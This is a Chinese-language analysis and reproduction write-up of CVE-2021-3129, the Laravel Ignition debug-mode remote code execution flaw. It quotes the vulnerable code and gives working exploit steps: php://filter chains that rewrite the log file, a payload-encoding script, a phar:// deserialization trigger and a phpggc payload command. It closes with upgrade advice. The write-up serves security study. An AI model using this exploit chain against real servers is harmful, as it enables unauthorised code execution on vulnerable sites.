Laravel Debug mode RCE(CVE-2021-3129)分析复现
字数 1297 2025-08-18 11:35:59
Laravel Debug Mode RCE (CVE-2021-3129) 漏洞分析与复现
漏洞概述
CVE-2021-3129是Laravel框架在调试模式(Debug Mode)下存在的一个远程代码执行漏洞,影响Ignition组件(<=2.5.1)。该漏洞允许攻击者在特定条件下通过精心构造的请求实现任意代码执行。
测试环境
- 操作系统: MAC OS
- PHP版本: 7.3.18
- Laravel版本: 8.22.0
环境搭建
- 按照原文的方式搭建服务
- 访问
http://127.0.0.1:8000/ - Ignition(Laravel 6+默认错误页面生成器)会提供一个解决方案,引导在配置文件中为Laravel配置加密key
- 点击按钮后发送请求,Ignition会在配置文件中生成key
- 页面正常访问后,环境搭建完成
漏洞分析
漏洞存在于Ignition(<=2.5.1)中,特别是vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php文件中的过滤不严谨问题。
漏洞触发流程
- 请求到达
ExecuteSolutionController控制器 - 调用
solution对象中的run()方法,传入可控的parameters参数 - 最终调用到
MakeViewVariableOptionalSolution::run()
关键漏洞代码:
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
// ...
}
漏洞利用原理
- 利用
file_get_contents()函数,通过phar://协议触发phar反序列化 - 如果有文件上传功能,可以上传恶意phar文件触发反序列化
- 或者通过将log文件转换为合法phar文件的方式触发
漏洞复现步骤
1. 清空log文件
使用php filter chain清空日志文件:
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
2. 添加log前缀
viewFile: AA
3. 编码要写入的字符
使用Python生成编码后的payload:
import base64
s = 'PD9waHAgX19IQUxUX0NPTV...gAAAEdCTUI=' # 你的phar文件base64编码
''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper()
4. 写入编码后的字符到log
viewFile: =50=00=44=00=39=...00=55=00=49=00=3D=00
5. 清空干扰字符
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
6. 触发phar反序列化
viewFile: phar:///path/to/laravel/storage/logs/laravel.log/test.txt
完整利用
- 使用phpggc生成phar payload:
php -d'phar.readonly=0' ./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o php://output | base64 -w0
- 将base64编码后的payload进行
convert.quoted-printable-encode编码 - 按照上述步骤写入log文件并触发
注意事项
- 直接使用作者提供的方式生成PAYLOAD可能会在
convert.quoted-printable-decode过滤器时出现问题 - base64编码后的字符串后面的
=号需要使用=3d来替换 - 第一个字符
P可以转成对应的=50,确保=号都能匹配上 - 建议直接将payload都进行一次
convert.quoted-printable-encode编码
修复建议
升级Ignition组件到最新版本(>2.5.1)
参考链接
通过以上步骤,可以完整复现CVE-2021-3129漏洞,并理解其利用原理和防护方法。